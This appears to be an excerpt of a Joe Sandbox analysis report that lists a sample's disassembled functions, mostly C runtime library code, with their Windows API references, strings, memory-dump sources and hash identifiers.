GetCurrentThreadId.KERNEL32 ref: 00F5A647

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: CurrentThread$Xtime_diff_to_millis2
String ID:
API String ID: 1280559528-0
Opcode ID: 5efdf5c3d5b953ae1527e3bd0fddf122bfcf0f4a07fd9be03c346ec15b82c2ff
Instruction ID: ce8a2f5a8af6e1766f8661b15c09e674ae0e12febb4a8f23e77fd1b9fd728af1
Opcode Fuzzy Hash: 5efdf5c3d5b953ae1527e3bd0fddf122bfcf0f4a07fd9be03c346ec15b82c2ff
Instruction Fuzzy Hash: 40519C71D00105CFCF21CF24D9819ADB7B0AF08722B294659DE4A9B245EB34ED99EF93

Function 00F683E7 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,8C9F690D,?,00F684F4,00F54C93,?,?,00000000), ref: 00F684A8

Strings

api-ms-, xrefs: 00F6843E
ext-ms-, xrefs: 00F68452

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 59394ddaa696c4fc96ee4cfdec6013d3a36a9352313e4fbeabe38b2cc132bc31
Instruction ID: f5289dba1524b1ac7c7e6a2d6283adc4a82354180f0cdb9c25da0d5991b88da3
Opcode Fuzzy Hash: 59394ddaa696c4fc96ee4cfdec6013d3a36a9352313e4fbeabe38b2cc132bc31
Instruction Fuzzy Hash: 0421A572E0021AABCB21DB24DC41A6A3768EB417F4F260619E919A7291DF30ED42E6D1

Function 00F75FCF Relevance: 9.3, APIs: 6, Instructions: 298COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27b4f438f055af5fa2de7bf6e043b2adcc58b38dd55a2510bd00160d3c6a789f
Instruction ID: 0842efb85beea37747f6a92dd21e31ebe56b9cee6b6b5de4ea4f7f0b4712f117
Opcode Fuzzy Hash: 27b4f438f055af5fa2de7bf6e043b2adcc58b38dd55a2510bd00160d3c6a789f
Instruction Fuzzy Hash: 01B1D171E04649AFDF51DF98CC80BBDBBB1BF45310F18815AE409AB292C7749D41EB62

Function 00F5E4BA Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00F5E4B1,00F5C0BF,00F58281,8C9F690D,?,?,?,?,00F79112,000000FF), ref: 00F5E4C8
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00F5E4D6
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00F5E4EF
SetLastError.KERNEL32(00000000,?,00F5E4B1,00F5C0BF,00F58281,8C9F690D,?,?,?,?,00F79112,000000FF), ref: 00F5E541

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 694020a4b9c7920956bfbe50cb342979b225ad340393982ec792cc3338e42e64
Instruction ID: 6851e9a4a9736d9aea5a14be4b07023a5f109db6b0475d02a80be80a75149f25
Opcode Fuzzy Hash: 694020a4b9c7920956bfbe50cb342979b225ad340393982ec792cc3338e42e64
Instruction Fuzzy Hash: 8801283350D7165DA7183BB57C4967A3654EB65B767280339FE11810F0FF518D0CB245

Function 00F652AF Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,8C9F690D,?,?,00000000,00F792E8,000000FF,?,00F6523F,?,?,00F65213,00000016), ref: 00F652E4
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00F652F6
FreeLibrary.KERNEL32(00000000,?,00000000,00F792E8,000000FF,?,00F6523F,?,?,00F65213,00000016), ref: 00F65318

Strings

CorExitProcess, xrefs: 00F652EE
mscoree.dll, xrefs: 00F652DD

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: fc5fb65cb9609c89717c0611971e3c91b54c3a238cc47aeba3c4f00ade092759
Instruction ID: 64c899496f0bccdc7b8bf0601bb17a7864604ba17128dd711aa6eddf601b83bb
Opcode Fuzzy Hash: fc5fb65cb9609c89717c0611971e3c91b54c3a238cc47aeba3c4f00ade092759
Instruction Fuzzy Hash: 0101DB31904619EFDB118F50DD05FAEBBB9FB44F54F004529F815B26D0DBB59900DB52

Function 00F55110 Relevance: 7.8, APIs: 5, Instructions: 274COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00F551BD
__Mtx_unlock.LIBCPMT ref: 00F5528E
__Mtx_unlock.LIBCPMT ref: 00F55339
__Mtx_unlock.LIBCPMT ref: 00F553AE
__Mtx_unlock.LIBCPMT ref: 00F553DF

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID:
API String ID: 1418687624-0
Opcode ID: 01a384246dc268ac02439d6f0b32246a4622af30da12120cee141c8742499359
Instruction ID: b759b48ea652a0920ecf00b7bb05f4305c6682f80546846aa29c61dca5794054
Opcode Fuzzy Hash: 01a384246dc268ac02439d6f0b32246a4622af30da12120cee141c8742499359
Instruction Fuzzy Hash: 649157B1900B019FC724DF74D81466ABBE4BF41322F048A2EEE5947641E775E94CDBA3

Function 00F6CC51 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00F6CCD8
__alloca_probe_16.LIBCMT ref: 00F6CD99
__freea.LIBCMT ref: 00F6CE00

Part of subcall function 00F694CC: HeapAlloc.KERNEL32(00000000,?,?,?,00F5B1FD,?,?,00F54C93,0000000C), ref: 00F694FE

__freea.LIBCMT ref: 00F6CE15
__freea.LIBCMT ref: 00F6CE25

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 7a09279c5d3f84290fcce5716f1d4481c6d6bfcc5c5ad72891038e31d7fd83d1
Instruction ID: 1c36e6d169b4c3f44594abdc0ba0c9c4c2b6791c26992277f896b4034b8c799c
Opcode Fuzzy Hash: 7a09279c5d3f84290fcce5716f1d4481c6d6bfcc5c5ad72891038e31d7fd83d1
Instruction Fuzzy Hash: C851B772A0010AAFEF259F64CC41EBB3AA9EF14764F190129FD98D7250EB35DC10A7E0

Function 00F57760 Relevance: 7.6, APIs: 5, Instructions: 106COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00F5781B
__Mtx_unlock.LIBCPMT ref: 00F57832
__Cnd_broadcast.LIBCPMT ref: 00F57858
__Mtx_unlock.LIBCPMT ref: 00F5785E
Concurrency::cancel_current_task.LIBCPMT ref: 00F57874

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcastConcurrency::cancel_current_task
String ID:
API String ID: 3354401312-0
Opcode ID: 1ccf7df723b30613023e780c99abaa72fdbcf87617539b6aa3d71e82fbb044ac
Instruction ID: 440e49b077d34271796f90f39b22beca2dd4fced556265251187e6c1f519269b
Opcode Fuzzy Hash: 1ccf7df723b30613023e780c99abaa72fdbcf87617539b6aa3d71e82fbb044ac
Instruction Fuzzy Hash: 7931B4B1A05305ABCB10EF20EC45A9BB7E4AF44356F04452DFE1693241EB38E91DDBA2

Function 00F591AE Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00F591B5
std::_Lockit::_Lockit.LIBCPMT ref: 00F591BF

Part of subcall function 00F51C10: std::_Lockit::_Lockit.LIBCPMT ref: 00F51C2C
Part of subcall function 00F51C10: std::_Lockit::~_Lockit.LIBCPMT ref: 00F51C49

codecvt.LIBCPMT ref: 00F591F9
std::_Facet_Register.LIBCPMT ref: 00F59210
std::_Lockit::~_Lockit.LIBCPMT ref: 00F59230

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercodecvt
String ID:
API String ID: 712880209-0
Opcode ID: 3c39539a46029b0fac344fea6ddac8feacc1764db89686b0e668e2c7f4db5669
Instruction ID: 7a966ba5d953c453e5304238a983f9c92a601c1f6933fa632f7300f63f6a01e5
Opcode Fuzzy Hash: 3c39539a46029b0fac344fea6ddac8feacc1764db89686b0e668e2c7f4db5669
Instruction Fuzzy Hash: A301D271904119DBCB09EB64CC466FE7771BF84322F240409EE11AB292CFB89D09B791

Function 00F52190 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00F5222D

Part of subcall function 00F5C0D1: RaiseException.KERNEL32(E06D7363,00000001,00000003,00F5BE3B,?,?,?,?,00F5BE3B,0000000C,00F88448,0000000C), ref: 00F5C131

Strings

ios_base::failbit set, xrefs: 00F520F2, 00F521D1
ios_base::badbit set, xrefs: 00F521C7, 00F521F2, 00F52210
ios_base::eofbit set, xrefs: 00F521D6

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 3109751735-1866435925
Opcode ID: 6c7322e2444b7a39d4ea92f6e633540b6b1c3ee485891c7995d0d4cef8a7309e
Instruction ID: ed34833b234aa8f348023a12daf5a883145e6696b3060325242fa3cfc1ceadd2
Opcode Fuzzy Hash: 6c7322e2444b7a39d4ea92f6e633540b6b1c3ee485891c7995d0d4cef8a7309e
Instruction Fuzzy Hash: 18110AB2900B046BC710DF18DC41B9AB3D8AF45321F58862AFF59DB682F774E948DB91

Function 00F5F5B2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000011,00000000,00000800,?,00F5F563,00000000,00000001,00F8B918,?,?,?,00F5F706,00000004,InitializeCriticalSectionEx,00F7BDF0,InitializeCriticalSectionEx), ref: 00F5F5BF
GetLastError.KERNEL32(?,00F5F563,00000000,00000001,00F8B918,?,?,?,00F5F706,00000004,InitializeCriticalSectionEx,00F7BDF0,InitializeCriticalSectionEx,00000000,?,00F5F4BD), ref: 00F5F5C9
LoadLibraryExW.KERNEL32(00000011,00000000,00000000,?,00000011,00F5E423), ref: 00F5F5F1

Strings

api-ms-, xrefs: 00F5F5D6

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: de262a4a70afafbe8396fc004cb80797d0202a512288f6717349342abd771cc1
Instruction ID: c627032153646a4e67ad5758c628a091a59610eee8dd1a63629ca5907ad311d9
Opcode Fuzzy Hash: de262a4a70afafbe8396fc004cb80797d0202a512288f6717349342abd771cc1
Instruction Fuzzy Hash: 6CE01270A4430AB6DB201F70DC06B583A55AB40B66F254470FA0CB40E1FB61D998B9C6

Function 00F6A568 Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(8C9F690D,00000000,00000000,00F5FC3C), ref: 00F6A5CB

Part of subcall function 00F6EE2B: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00F6CDF6,?,00000000,-00000008), ref: 00F6EED7

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00F6A826
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00F6A86E
GetLastError.KERNEL32 ref: 00F6A911

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 8569fe1b27299a2434939b92aba9288bc30049695284fca3178673d1351f7f5d
Instruction ID: 71177f1425c1d526ab7e9bb8cf53fd78845ea42b20ffe49ebebb572d6302f028
Opcode Fuzzy Hash: 8569fe1b27299a2434939b92aba9288bc30049695284fca3178673d1351f7f5d
Instruction Fuzzy Hash: 86D178B5D002489FCB15CFA8D880AADBBB5FF49314F28412AE856F7251E730A942DF51

Function 00F5E5D1 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00F5E698
___AdjustPointer.LIBCMT ref: 00F5E6BB
___AdjustPointer.LIBCMT ref: 00F5E757

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: d5a33ed23b76ff08183ad8553f85ab5f0cad7e4229ad10fec2595fea53aef81d
Instruction ID: 54ff7e9f5561b532df7ed043d01a6fb2683907dfb492abbac7866013571580e6
Opcode Fuzzy Hash: d5a33ed23b76ff08183ad8553f85ab5f0cad7e4229ad10fec2595fea53aef81d
Instruction Fuzzy Hash: C4510472A003069FDB2D9F14E841BBA7BA4EF58762F14002DEE1587191E735EE48FB90

Function 00F6F247 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 00F6EE2B: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00F6CDF6,?,00000000,-00000008), ref: 00F6EED7

GetLastError.KERNEL32 ref: 00F6F2AB
__dosmaperr.LIBCMT ref: 00F6F2B2
GetLastError.KERNEL32(?,?,?,?), ref: 00F6F2EC
__dosmaperr.LIBCMT ref: 00F6F2F3

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 02e0b77a2527b0f7111b176ad8450c4b19d1ae6a4d5975cb7dda840f6abad387
Instruction ID: 3c4cb7487fbd4d01e803c0150e74a73f59185df23b0c6410accbf7a865601e2d
Opcode Fuzzy Hash: 02e0b77a2527b0f7111b176ad8450c4b19d1ae6a4d5975cb7dda840f6abad387
Instruction Fuzzy Hash: 2921C272A00305AFDB20AFA1AC8197BB7A9FF54360715853AF81997251D734EC44BB90

Function 00F64689 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85da9e5399ab113613de2f9de3bfcd1634776a096e1a08702411d6d73ccdd777
Instruction ID: 290f73dade0b3a6cc94be3769821d382bdc80208fa74b3c15380ea1a6d712cfd
Opcode Fuzzy Hash: 85da9e5399ab113613de2f9de3bfcd1634776a096e1a08702411d6d73ccdd777
Instruction Fuzzy Hash: 9C21CD32A00209AFDB20FF60CC80D7BB7AABF523647154528F85897151DB35FC50BBA0

Function 00F701DD Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00F701E5

Part of subcall function 00F6EE2B: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00F6CDF6,?,00000000,-00000008), ref: 00F6EED7

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00F7021D
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00F7023D

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
